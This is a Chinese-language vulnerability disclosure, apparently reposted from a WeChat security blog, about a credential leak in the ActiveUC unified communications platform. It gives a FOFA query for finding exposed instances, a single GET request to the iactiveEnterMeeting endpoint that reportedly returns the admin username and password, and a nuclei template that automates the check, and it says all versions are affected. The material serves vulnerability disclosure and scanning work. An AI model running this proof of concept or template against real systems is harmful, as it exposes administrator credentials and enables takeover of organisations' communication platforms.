网动统一通信平台ActiveUC信息泄露漏洞

漏洞简介

网动统一通信平台是采用统一的通信界面，将VoIP电话系统、电子邮件等多种沟通方式融合的企业IT平台。网动统一通信平台（ActiveUC）存在敏感信息泄露漏洞，攻击者可以通过该漏洞获取管理员账户信息，进而控制整个系统。

影响版本

全版本

资产测绘

fofa-query: title="网动统一通信平台(Active UC)"

漏洞poc

GET /acenter/iactiveEnterMeeting.action?roomid=1&username=admin

复现成功：

nuclei脚本：

nuclei形式的POC以及fofa语句查询后的资产

id: Active-uc-info-leak

info:
  name: 网动统一通信平台ActiveUC信息泄露漏洞
  author: Simple
  severity: medium
  description: |
    网动统一通信平台(ActiveUC)接口iactiveEnterMeeting存在信息泄露漏洞
  reference:
    - https://github.com/JJThome
  metadata:
    fofa-query: title="网动统一通信平台(Active UC)"

http:
  - method: GET
    path:
      - "{{BaseURL}}/acenter/iactiveEnterMeeting.action?roomid=1&username=admin"

    matchers:
      - type: dsl
        dsl:
          - contains(body,"username")
          - contains(body,"password")
          - status_code == 200
        condition: and

原文始发于微信公众号（simple学安全）：网动统一通信平台ActiveUC信息泄露漏洞